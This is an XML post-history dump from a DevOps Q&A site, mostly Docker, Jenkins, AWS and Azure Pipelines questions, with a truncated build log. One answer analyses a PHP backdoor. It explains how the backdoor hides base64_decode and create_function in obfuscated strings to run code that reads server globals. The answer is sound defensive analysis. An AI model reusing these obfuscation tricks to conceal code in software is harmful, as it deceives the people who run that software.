  <row Id="26007" PostHistoryTypeId="2" PostId="8869" RevisionGUID="ac20408b-d008-47ca-94b7-05efa62adb20" CreationDate="2019-08-11T14:55:11.810" UserId="16498" Text="So I have common lamp stack for drupal development built with docker, volumes are bind mounted, it is all on Mac OSx which has well known problems/slowdowns of file synching between host and container. There are few methods to improve this but none are without headaches. &#xD;&#xA;&#xD;&#xA;So what I want to do is to find a way to track/log synching between host/container so at least I can see what is being synched and to know when it is over. Now I am clueless and often when I change a lot, app is getting broken and I realize it is because not all files have been synched, but dont know when this is finished." ContentLicense="CC BY-SA 4.0" />
  <row Id="26008" PostHistoryTypeId="1" PostId="8869" RevisionGUID="ac20408b-d008-47ca-94b7-05efa62adb20" CreationDate="2019-08-11T14:55:11.810" UserId="16498" Text="Docker, binded volume track/log synching" ContentLicense="CC BY-SA 4.0" />
  <row Id="26009" PostHistoryTypeId="3" PostId="8869" RevisionGUID="ac20408b-d008-47ca-94b7-05efa62adb20" CreationDate="2019-08-11T14:55:11.810" UserId="16498" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26010" PostHistoryTypeId="50" PostId="8589" RevisionGUID="77ee82d9-601a-4e2e-827e-45932301c35e" CreationDate="2019-08-11T17:01:40.107" UserId="-1" />
  <row Id="26014" PostHistoryTypeId="50" PostId="5183" RevisionGUID="3761ef64-59d8-4aee-b9a4-5e6c7808e0cc" CreationDate="2019-08-11T19:01:05.130" UserId="-1" />
  <row Id="26015" PostHistoryTypeId="50" PostId="6604" RevisionGUID="4d25ef10-b0f2-4be6-89af-86b36182a96f" CreationDate="2019-08-12T00:01:15.153" UserId="-1" />
  <row Id="26020" PostHistoryTypeId="2" PostId="8872" RevisionGUID="9d8f0878-f9ec-4b2a-8076-cc219517bbc7" CreationDate="2019-08-12T08:01:59.453" UserId="16505" Text="I have docker-compose:&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      default:&#xD;&#xA;        driver: bridge&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;      yii2-app:&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: ./Dockerfile-app&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        depends_on:&#xD;&#xA;          - yii2-db&#xD;&#xA;        volumes:&#xD;&#xA;          - &quot;./app:/var/www/app&quot;&#xD;&#xA;          - &quot;./nginx:/etc/nginx/sites-available&quot;&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;Dockerfile-app:&#xD;&#xA;&#xD;&#xA;    FROM richarvey/nginx-php-fpm&#xD;&#xA;&#xD;&#xA;    ADD app /var/www/app&#xD;&#xA;&#xD;&#xA;    RUN rm -Rf /etc/nginx/sites-enabled/*&#xD;&#xA;&#xD;&#xA;    ADD nginx/site.conf /etc/nginx/sites-available/site.conf&#xD;&#xA;&#xD;&#xA;    RUN ln -s /etc/nginx/sites-available/site.conf /etc/nginx/sites-enabled/site.conf&#xD;&#xA;&#xD;&#xA;    RUN cd /var/www/app &amp;&amp; \&#xD;&#xA;        composer install&#xD;&#xA;&#xD;&#xA;    RUN cd /var/www/app &amp;&amp; chmod +x yii &amp;&amp; \&#xD;&#xA;        cd web &amp;&amp; mkdir -p uploads &amp;&amp; \&#xD;&#xA;        cd /var/www &amp;&amp; chown nginx:nginx -R app/&#xD;&#xA;&#xD;&#xA;My last command RUN has no effect: chown not set nginx files owner. Folder &quot;uploads&quot; also is not created.&#xD;&#xA;&#xD;&#xA;When I run `docker-compose build --no-cache` I see, that step is passed:&#xD;&#xA;&#xD;&#xA;    Step 7/7 : RUN cd /var/www/app &amp;&amp; chmod +x yii &amp;&amp;     cd web &amp;&amp; mkdir -p uploads &amp;&amp;     cd /var/www &amp;&amp; chown nginx:nginx -R app/&#xD;&#xA;     ---&gt; Running in 26a918bece47&#xD;&#xA;    Removing intermediate container 26a918bece47&#xD;&#xA;     ---&gt; 00db026a461c&#xD;&#xA;    Successfully built 00db026a461c&#xD;&#xA;    Successfully tagged passport-app_yii2-app:latest&#xD;&#xA;&#xD;&#xA;Run containers in common-way `docker-compose up -d`.&#xD;&#xA;&#xD;&#xA;Why my last RUN command is not work?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26021" PostHistoryTypeId="1" PostId="8872" RevisionGUID="9d8f0878-f9ec-4b2a-8076-cc219517bbc7" CreationDate="2019-08-12T08:01:59.453" UserId="16505" Text="Why does not work chown in RUN command in Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26022" PostHistoryTypeId="3" PostId="8872" RevisionGUID="9d8f0878-f9ec-4b2a-8076-cc219517bbc7" CreationDate="2019-08-12T08:01:59.453" UserId="16505" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26026" PostHistoryTypeId="5" PostId="8872" RevisionGUID="bc7f9685-db40-4382-88cc-a9715a7439bc" CreationDate="2019-08-12T08:49:33.370" UserId="354" Comment="Improve grammar" Text="I have the following docker-compose file:&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      default:&#xD;&#xA;        driver: bridge&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;      yii2-app:&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: ./Dockerfile-app&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        depends_on:&#xD;&#xA;          - yii2-db&#xD;&#xA;        volumes:&#xD;&#xA;          - &quot;./app:/var/www/app&quot;&#xD;&#xA;          - &quot;./nginx:/etc/nginx/sites-available&quot;&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;Dockerfile-app:&#xD;&#xA;&#xD;&#xA;    FROM richarvey/nginx-php-fpm&#xD;&#xA;&#xD;&#xA;    ADD app /var/www/app&#xD;&#xA;&#xD;&#xA;    RUN rm -Rf /etc/nginx/sites-enabled/*&#xD;&#xA;&#xD;&#xA;    ADD nginx/site.conf /etc/nginx/sites-available/site.conf&#xD;&#xA;&#xD;&#xA;    RUN ln -s /etc/nginx/sites-available/site.conf /etc/nginx/sites-enabled/site.conf&#xD;&#xA;&#xD;&#xA;    RUN cd /var/www/app &amp;&amp; \&#xD;&#xA;        composer install&#xD;&#xA;&#xD;&#xA;    RUN cd /var/www/app &amp;&amp; chmod +x yii &amp;&amp; \&#xD;&#xA;        cd web &amp;&amp; mkdir -p uploads &amp;&amp; \&#xD;&#xA;        cd /var/www &amp;&amp; chown nginx:nginx -R app/&#xD;&#xA;&#xD;&#xA;My last command RUN has no effect: chown does not set the nginx files owner. The folder &quot;uploads&quot; also is not created.&#xD;&#xA;&#xD;&#xA;When I run `docker-compose build --no-cache` I see, that step is passed:&#xD;&#xA;&#xD;&#xA;    Step 7/7 : RUN cd /var/www/app &amp;&amp; chmod +x yii &amp;&amp;     cd web &amp;&amp; mkdir -p uploads &amp;&amp;     cd /var/www &amp;&amp; chown nginx:nginx -R app/&#xD;&#xA;     ---&gt; Running in 26a918bece47&#xD;&#xA;    Removing intermediate container 26a918bece47&#xD;&#xA;     ---&gt; 00db026a461c&#xD;&#xA;    Successfully built 00db026a461c&#xD;&#xA;    Successfully tagged passport-app_yii2-app:latest&#xD;&#xA;&#xD;&#xA;However, when I run the workload in the &quot;common&quot; way using `docker-compose up -d` the change is not applied.&#xD;&#xA;&#xD;&#xA;Why does my last RUN command not work?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26027" PostHistoryTypeId="24" PostId="8872" RevisionGUID="bc7f9685-db40-4382-88cc-a9715a7439bc" CreationDate="2019-08-12T08:49:33.370" Comment="Proposed by 354 approved by 40, 16505 edit id of 1049" ContentLicense="CC BY-SA 4.0" />
  <row Id="26029" PostHistoryTypeId="2" PostId="8875" RevisionGUID="4a84c107-77e8-4426-a1d6-f0a8010507da" CreationDate="2019-08-12T10:06:36.227" UserId="16508" Text="Be aware, that dynamic build steps could cause some problems in some build steps, e.g. when you call an other job:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    stages {&#xD;&#xA;        stage('Test') {&#xD;&#xA;            steps {&#xD;&#xA;                script {&#xD;&#xA;                    def tests = [:]&#xD;&#xA;                    for (f in findFiles(glob: '**/html/*.html')) {&#xD;&#xA;                        // Create temp variable, otherwise the name will be the last value of the for loop&#xD;&#xA;                        def name = f&#xD;&#xA;                        tests[&quot;${name}&quot;] = {&#xD;&#xA;                            build job: &quot;${name}&quot;&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                    parallel tests&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }       &#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="26030" PostHistoryTypeId="2" PostId="8876" RevisionGUID="38c3d8db-52ef-4893-abbc-b2ef7e417920" CreationDate="2019-08-12T10:21:46.510" UserId="16505" Text="I found the reason of the problem.&#xD;&#xA;In Docker &quot;anything after the VOLUME instruction in a Dockerfile will not be able to make changes to that volume&quot;. &#xD;&#xA;I define volume &quot;./app:/var/www/app&quot;, and after that manipulate with it, so it's not work." ContentLicense="CC BY-SA 4.0" />
  <row Id="26034" PostHistoryTypeId="2" PostId="8878" RevisionGUID="53620a2c-e7d0-4d74-be0a-d4f0ebe923ad" CreationDate="2019-08-12T14:02:33.530" UserId="4328" Text="Do you have a volume mounted with gitlab-runner-prebuilt.tar.xz? Your error log makes it seem like it can't find the file when it executes." ContentLicense="CC BY-SA 4.0" />
  <row Id="26035" PostHistoryTypeId="2" PostId="8879" RevisionGUID="0258a42f-bab9-4cbf-97f6-d8b41c68752e" CreationDate="2019-08-12T14:07:21.070" UserId="16511" Text="This is a backdoor type script attempting to get information about global php configuration settings.&#xD;&#xA;&#xD;&#xA;`$alphabet` holds (in obfuscated form) the string &quot;base64_decode&quot;. `base64_decode` is a function to unmangle the long base64 encoded $string value into this-:&#xD;&#xA;&#xD;&#xA;    global auth_pass,$color,$default_action,$default_use_ajax,$default_charset,$sort;&#xD;&#xA;    global $cwd,$os,$safe_mode, $in;&#xD;&#xA;&#xD;&#xA;A function with the above code is then created and executed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26036" PostHistoryTypeId="5" PostId="8879" RevisionGUID="85b6b223-ea34-49fa-b295-15465b6dd0d4" CreationDate="2019-08-12T14:13:00.487" UserId="16511" Comment="added 85 characters in body" Text="This is a backdoor type script attempting to get information about global php configuration settings.&#xD;&#xA;&#xD;&#xA;`$alphabet` holds (in obfuscated form) the string &quot;base64_decode&quot;. `base64_decode` is a function to unmangle the long base64 encoded $string value into this-:&#xD;&#xA;&#xD;&#xA;    global auth_pass,$color,$default_action,$default_use_ajax,$default_charset,$sort;&#xD;&#xA;    global $cwd,$os,$safe_mode, $in;&#xD;&#xA;&#xD;&#xA;A function with the above code is then created (reading the characters in `&quot;noi&quot;.&quot;tcnuf&quot;.&quot;_eta&quot;.&quot;erc&quot;` spells create_function) and then executed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26037" PostHistoryTypeId="2" PostId="8880" RevisionGUID="05eb126a-4dc3-4c89-b9ba-04a6e84d00aa" CreationDate="2019-08-12T14:16:27.453" UserId="4328" Text="Instead of storing them as variables in the bash script themselves, can you store them as environment variables on the system from which the bash script is executing? This is a pretty common practice that will allow your scripts to execute on different systems without having to modify the script on each and every one. &#xD;&#xA;&#xD;&#xA;Not sure what you mean by the AWS cli &quot;saves the key and the secret in encrypted format&quot;, but if you look at the credentials file in ~/.aws, your access key and secret access key are both in plain text. I'm not sure how the Azure cli manages profiles, but AWS uses the AWS_PROFILE environment variable to distinguish which account the cli should execute as. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26038" PostHistoryTypeId="52" PostId="8872" RevisionGUID="374c1da7-65e0-4d1f-a013-07f4c61d896f" CreationDate="2019-08-12T16:02:17.573" />
  <row Id="26039" PostHistoryTypeId="5" PostId="8879" RevisionGUID="57268791-8ebe-4f08-a1fd-f91ca56f6cf8" CreationDate="2019-08-12T16:04:24.757" UserId="16511" Comment="added 215 characters in body" Text="This is a backdoor type script attempting to get information about global php configuration settings.&#xD;&#xA;&#xD;&#xA;`$alphabet` holds (in obfuscated form) the string &quot;base64_decode&quot;. `base64_decode` is a function to unmangle the long base64 encoded $string value into this-:&#xD;&#xA;&#xD;&#xA;    global auth_pass,$color,$default_action,$default_use_ajax,$default_charset,$sort;&#xD;&#xA;    global $cwd,$os,$safe_mode, $in;&#xD;&#xA;&#xD;&#xA;A function with the above code is then created (reading the characters in `&quot;noi&quot;.&quot;tcnuf&quot;.&quot;_eta&quot;.&quot;erc&quot;` spells create_function) and then executed.&#xD;&#xA;&#xD;&#xA;NOTE&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;PHP stores lots of useful information in $GLOBALS array, including HTTP requests, environmental settings and server settings. So files such as this are used to extract information from your system and from your user's posts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26040" PostHistoryTypeId="5" PostId="8872" RevisionGUID="68b3093b-1e5a-4c9d-b3ab-27e2337f2273" CreationDate="2019-08-12T17:08:27.997" UserId="16516" Comment="fix grammar" Text="I have the following docker-compose file:&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      default:&#xD;&#xA;        driver: bridge&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;      yii2-app:&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: ./Dockerfile-app&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        depends_on:&#xD;&#xA;          - yii2-db&#xD;&#xA;        volumes:&#xD;&#xA;          - &quot;./app:/var/www/app&quot;&#xD;&#xA;          - &quot;./nginx:/etc/nginx/sites-available&quot;&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;Dockerfile-app:&#xD;&#xA;&#xD;&#xA;    FROM richarvey/nginx-php-fpm&#xD;&#xA;&#xD;&#xA;    ADD app /var/www/app&#xD;&#xA;&#xD;&#xA;    RUN rm -Rf /etc/nginx/sites-enabled/*&#xD;&#xA;&#xD;&#xA;    ADD nginx/site.conf /etc/nginx/sites-available/site.conf&#xD;&#xA;&#xD;&#xA;    RUN ln -s /etc/nginx/sites-available/site.conf /etc/nginx/sites-enabled/site.conf&#xD;&#xA;&#xD;&#xA;    RUN cd /var/www/app &amp;&amp; \&#xD;&#xA;        composer install&#xD;&#xA;&#xD;&#xA;    RUN cd /var/www/app &amp;&amp; chmod +x yii &amp;&amp; \&#xD;&#xA;        cd web &amp;&amp; mkdir -p uploads &amp;&amp; \&#xD;&#xA;        cd /var/www &amp;&amp; chown nginx:nginx -R app/&#xD;&#xA;&#xD;&#xA;My last command RUN has no effect: chown does not set the nginx files owner. The folder &quot;uploads&quot; also is not created.&#xD;&#xA;&#xD;&#xA;When I run `docker-compose build --no-cache` that step is passed:&#xD;&#xA;&#xD;&#xA;    Step 7/7 : RUN cd /var/www/app &amp;&amp; chmod +x yii &amp;&amp;     cd web &amp;&amp; mkdir -p uploads &amp;&amp;     cd /var/www &amp;&amp; chown nginx:nginx -R app/&#xD;&#xA;     ---&gt; Running in 26a918bece47&#xD;&#xA;    Removing intermediate container 26a918bece47&#xD;&#xA;     ---&gt; 00db026a461c&#xD;&#xA;    Successfully built 00db026a461c&#xD;&#xA;    Successfully tagged passport-app_yii2-app:latest&#xD;&#xA;&#xD;&#xA;However, when I run the workload in the &quot;common&quot; way using `docker-compose up -d` the change is not applied.&#xD;&#xA;&#xD;&#xA;Why does my last RUN command not work?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26041" PostHistoryTypeId="4" PostId="8872" RevisionGUID="68b3093b-1e5a-4c9d-b3ab-27e2337f2273" CreationDate="2019-08-12T17:08:27.997" UserId="16516" Comment="fix grammar" Text="Why chown not work in RUN command in Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26042" PostHistoryTypeId="24" PostId="8872" RevisionGUID="68b3093b-1e5a-4c9d-b3ab-27e2337f2273" CreationDate="2019-08-12T17:08:27.997" Comment="Proposed by 16516 approved by -1 edit id of 1050" ContentLicense="CC BY-SA 4.0" />
  <row Id="26043" PostHistoryTypeId="4" PostId="8872" RevisionGUID="1ca81c08-d5c8-4e19-980e-247f55ffc68b" CreationDate="2019-08-12T17:08:27.997" UserId="40" Comment="edited title" Text="Why does chown not work in RUN command in Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26044" PostHistoryTypeId="2" PostId="8881" RevisionGUID="69bd68e9-a005-458b-8856-c55ef4c84e55" CreationDate="2019-08-12T17:15:18.253" UserId="11527" Text="After **creating** API Gateway with two API names and integrating with lambda function, &#xD;&#xA;&#xD;&#xA;AWS documentation recommends to **deploy** this API, as shown below:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;  [1]: https://i.stack.imgur.com/E4BTk.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1) What does deploy API mean? How creating API gateway different from deploying API?&#xD;&#xA;&#xD;&#xA;2) Does deploy API option internally create Cloud formation template? that creates a stack and deploy&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26045" PostHistoryTypeId="1" PostId="8881" RevisionGUID="69bd68e9-a005-458b-8856-c55ef4c84e55" CreationDate="2019-08-12T17:15:18.253" UserId="11527" Text="API Gateway - How Deploy API works?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26046" PostHistoryTypeId="3" PostId="8881" RevisionGUID="69bd68e9-a005-458b-8856-c55ef4c84e55" CreationDate="2019-08-12T17:15:18.253" UserId="11527" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26047" PostHistoryTypeId="2" PostId="8882" RevisionGUID="b92147e3-de99-4d3d-a6e7-4fc06583eabd" CreationDate="2019-08-12T19:48:17.610" UserId="4328" Text="1.) Create API ([create-rest-api][1] from the cli) simply creates the API Gateway resource, but it does not create the method, stage, authorizer, etc. for your API Gateway.  Deploy API ([create-deployment][2] from the cli) will deploy either to an already created stage, or create a new stage for deployment. &#xD;&#xA;&#xD;&#xA;2.) No, it will not deploy a CloudFormation stack in your account. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/cli/latest/reference/apigateway/create-rest-api.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/cli/latest/reference/apigateway/create-deployment.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="26048" PostHistoryTypeId="2" PostId="8883" RevisionGUID="2f4072d1-0a79-4cd8-a723-d3ae4fef3b3f" CreationDate="2019-08-12T23:10:35.740" UserId="16523" Text="Your mkdir and chown commands are RUN when building the image, whereas you then mount `/var/www/app` from a VOLUME, so you are replacing the created and chowned folder with the contents of `./app` on the outside (and thus it's as if the chown didn't work).&#xD;&#xA;&#xD;&#xA;If you want to chown the contents of the volume _after it is mounted_, you should place those instructions on a script that is called as the CMD." ContentLicense="CC BY-SA 4.0" />
  <row Id="26052" PostHistoryTypeId="10" PostId="8865" RevisionGUID="390eb586-bc3a-48ef-a5ea-92e961e665bb" CreationDate="2019-08-13T01:02:30.307" UserId="46" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:4328,&quot;DisplayName&quot;:&quot;PrestonM&quot;},{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="26054" PostHistoryTypeId="50" PostId="6614" RevisionGUID="cc663f0b-d613-402a-90a1-25b0025ef432" CreationDate="2019-08-13T05:01:45.237" UserId="-1" />
  <row Id="26055" PostHistoryTypeId="50" PostId="1821" RevisionGUID="986296b4-2e45-4e98-a4ac-45309c7e19f2" CreationDate="2019-08-13T09:02:25.327" UserId="-1" />
  <row Id="26059" PostHistoryTypeId="50" PostId="6554" RevisionGUID="53ed0daa-0ed6-4ed1-b2f6-e41120caf4f7" CreationDate="2019-08-13T12:01:00.453" UserId="-1" />
  <row Id="26060" PostHistoryTypeId="2" PostId="8885" RevisionGUID="f1a231e1-a7fa-4cb1-aab8-de459d792801" CreationDate="2019-08-13T12:51:22.803" UserId="16533" Text="How to parse `docker logs` output / tail output through goaccess? When I do: &#xD;&#xA;&#xD;&#xA;    docker container logs mycontainer &gt; logs&#xD;&#xA;&#xD;&#xA;and then `goaccess -f logs` it works perfectly, but if I do `docker logs --tail all mycontainer | goaccess -` it doesn't work :( but in the manual  you can do this via tailing command: https://goaccess.io/man &#xD;&#xA;&#xD;&#xA;	tail -f access.log | goaccess -&#xD;&#xA;&#xD;&#xA;Pls help :( I think the problem is that the native tailing differs from docker's?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26061" PostHistoryTypeId="1" PostId="8885" RevisionGUID="f1a231e1-a7fa-4cb1-aab8-de459d792801" CreationDate="2019-08-13T12:51:22.803" UserId="16533" Text="How to parse command output (docker log) through goaccess?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26062" PostHistoryTypeId="3" PostId="8885" RevisionGUID="f1a231e1-a7fa-4cb1-aab8-de459d792801" CreationDate="2019-08-13T12:51:22.803" UserId="16533" Text="&lt;docker&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26063" PostHistoryTypeId="2" PostId="8886" RevisionGUID="01b9737b-9722-47d8-9f87-b0d545913530" CreationDate="2019-08-13T14:16:43.607" UserId="16536" Text="Here is the scenario: We are trying to &quot;automate&quot; our Salesforce development with Azure Pipelines. Since Salesforce is very unique when it comes to deploying changes, I have tried to create a Pipeline that would be manually run to save any change made into a Salesforce Sandbox back to a Branch. &#xD;&#xA;The goal is to eventually merge these changes into other branches and deploy them into other Salesforce environments.&#xD;&#xA;&#xD;&#xA;We are using the the SFDX cli for such tasks within the image. Below is a copy of my yml file:&#xD;&#xA;&#xD;&#xA;    trigger:&#xD;&#xA;    - developer&#xD;&#xA;    &#xD;&#xA;    pool:&#xD;&#xA;      vmImage: 'ubuntu-latest'&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;    - group: DeveloperVariables&#xD;&#xA;    &#xD;&#xA;    steps:&#xD;&#xA;    - checkout: self&#xD;&#xA;      persistCredentials: true&#xD;&#xA;    &#xD;&#xA;    - task: DownloadSecureFile@1&#xD;&#xA;      inputs:&#xD;&#xA;        secureFile: server.key&#xD;&#xA;    - task: Bash@3&#xD;&#xA;      inputs:&#xD;&#xA;        workingDirectory: ''&#xD;&#xA;        targetType: inline&#xD;&#xA;        script: |&#xD;&#xA;          wget https://developer.salesforce.com/media/salesforce-cli/sfdx-linux-amd64.tar.xz;&#xD;&#xA;          mkdir sfdx;&#xD;&#xA;          tar xJf sfdx-linux-amd64.tar.xz -C sfdx --strip-components 1;&#xD;&#xA;          sudo ./sfdx/install;&#xD;&#xA;          sfdx force:auth:jwt:grant --clientid $CONSUMER_KEY --jwtkeyfile $DOWNLOADSECUREFILE_SECUREFILEPATH --username $USERNAME --setalias developer;&#xD;&#xA;          sfdx force:mdapi:retrieve -u $USERNAME -k src/package.xml -r .;&#xD;&#xA;          unzip unpackaged.zip;&#xD;&#xA;          cd unpackaged;&#xD;&#xA;          git config --global user.email &quot;test@test.com&quot;&#xD;&#xA;          git config --global user.name &quot;Test User&quot;&#xD;&#xA;          git checkout -t origin/developer;&#xD;&#xA;          git add .;&#xD;&#xA;          git status;&#xD;&#xA;          echo &quot;This is me: &quot;;&#xD;&#xA;          whoami;&#xD;&#xA;          git commit -m &quot;Retrieved latest Developer SB changes!&quot;&#xD;&#xA;          echo &quot;Pushing now!!!&quot;;&#xD;&#xA;          git push --set-upstream origin HEAD:developer;&#xD;&#xA;&#xD;&#xA;As per Microsoft's documentation found [here][1], we need to make sure we grant permissions to the build service. All the permissions have been granted as requested but we still can't get it to work.&#xD;&#xA;&#xD;&#xA;Below is the copy of the logs generated when we run the Pipeline:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ##[section]Starting: Bash&#xD;&#xA;    ==============================================================================&#xD;&#xA;    Task         : Bash&#xD;&#xA;    Description  : Run a Bash script on macOS, Linux, or Windows&#xD;&#xA;    Version      : 3.151.3&#xD;&#xA;    Author       : Microsoft Corporation&#xD;&#xA;    Help         : https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash&#xD;&#xA;    ==============================================================================&#xD;&#xA;    Generating script.&#xD;&#xA;    ========================== Starting Command Output ===========================&#xD;&#xA;    [command]/bin/bash --noprofile --norc /home/vsts/work/_temp/9d534f54-57b8-44a0-8d10-2e3d8c334bbf.sh&#xD;&#xA;    --2019-08-13 13:27:00--  https://developer.salesforce.com/media/salesforce-cli/sfdx-linux-amd64.tar.xz&#xD;&#xA;    Resolving developer.salesforce.com (developer.salesforce.com)... 151.101.249.145&#xD;&#xA;    Connecting to developer.salesforce.com (developer.salesforce.com)|151.101.249.145|:443... connected.&#xD;&#xA;    HTTP request sent, awaiting response... 200 OK&#xD;&#xA;    Length: 19686680 (19M) [application/x-tar]&#xD;&#xA;    Saving to: ‘sfdx-linux-amd64.tar.xz’&#xD;&#xA;    &#xD;&#xA;         0K .......... .......... .......... .......... ..........  0% 25.6M 1s&#xD;&#xA;        50K .......... .......... .......... .......... ..........  0% 27.2M 1s&#xD;&#xA;            ...&#xD;&#xA;     19150K .......... .......... .......... .......... .......... 99%  171M 0s&#xD;&#xA;     19200K .......... .......... .....                           100%  247M=0.1s&#xD;&#xA;    &#xD;&#xA;    2019-08-13 13:27:00 (133 MB/s) - ‘sfdx-linux-amd64.tar.xz’ saved [19686680/19686680]&#xD;&#xA;    &#xD;&#xA;    sfdx installed to ‌4m&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;sfdx‌&#xD;&#xA;    sfdx-cli/7.8.1-8f830784cc linux-x64 node-v10.15.3&#xD;&#xA;    (node:3433) [EACCES] Error Plugin: sfdx-cli: EACCES: permission denied, open '/home/vsts/.cache/sfdx/lastrun'&#xD;&#xA;    module: @oclif/config@1.13.0&#xD;&#xA;    task: runHook init&#xD;&#xA;    plugin: sfdx-cli&#xD;&#xA;    root: /usr/local/lib/sfdx&#xD;&#xA;    See more details with DEBUG=*&#xD;&#xA;    Successfully authorized pipeline@coop.org.developer with org ID 00D560340009rbvEAA&#xD;&#xA;    (node:3469) [EACCES] Error Plugin: sfdx-cli: EACCES: permission denied, open '/home/vsts/.cache/sfdx/lastrun'&#xD;&#xA;    module: @oclif/config@1.13.0&#xD;&#xA;    task: runHook init&#xD;&#xA;    plugin: sfdx-cli&#xD;&#xA;    root: /usr/local/lib/sfdx&#xD;&#xA;    See more details with DEBUG=*&#xD;&#xA;    this.retrieveTargetPath: /home/vsts/work/1/s&#xD;&#xA;    Retrieving source...&#xD;&#xA;    &#xD;&#xA;    === Status&#xD;&#xA;    Status:  InProgress&#xD;&#xA;    jobid:  09S56000001G6fmEAC&#xD;&#xA;    ...&#xD;&#xA;    === Result&#xD;&#xA;    Status:  Succeeded&#xD;&#xA;    jobid:  09S56000001G6fmEAC&#xD;&#xA;    &#xD;&#xA;    Wrote retrieve zip to /home/vsts/work/1/s/unpackaged.zip.&#xD;&#xA;    Archive:  unpackaged.zip&#xD;&#xA;      inflating: unpackaged/settings/Account.settings  &#xD;&#xA;      ... &#xD;&#xA;      inflating: unpackaged/pathAssistants/TMG_CBE_Path.pathAssistant  &#xD;&#xA;      inflating: unpackaged/package.xml  &#xD;&#xA;    Switched to a new branch 'developer'&#xD;&#xA;    Branch 'developer' set up to track remote branch 'developer' from 'origin'.&#xD;&#xA;    On branch developer&#xD;&#xA;    Your branch is up to date with 'origin/developer'.&#xD;&#xA;    &#xD;&#xA;    Changes to be committed:&#xD;&#xA;      (use &quot;git reset HEAD &lt;file&gt;...&quot; to unstage)&#xD;&#xA;    &#xD;&#xA;    	new file:   approvalProcesses/Billing_Item__c.Billable_Item_Less_than_0.approvalProcess&#xD;&#xA;      ...&#xD;&#xA;    	new file:   workflows/Touchpoint__c.workflow&#xD;&#xA;    	new file:   workflows/User.workflow&#xD;&#xA;    &#xD;&#xA;    Untracked files:&#xD;&#xA;      (use &quot;git add &lt;file&gt;...&quot; to include in what will be committed)&#xD;&#xA;    &#xD;&#xA;    	../sfdx-linux-amd64.tar.xz&#xD;&#xA;    	../sfdx/&#xD;&#xA;    	../unpackaged.zip&#xD;&#xA;    &#xD;&#xA;    This is me: &#xD;&#xA;    vsts&#xD;&#xA;    &#xD;&#xA;    [developer f8ea8ed] Retrieved latest Developer SB changes!&#xD;&#xA;     1332 files changed, 452246 insertions(+)&#xD;&#xA;     create mode 100644 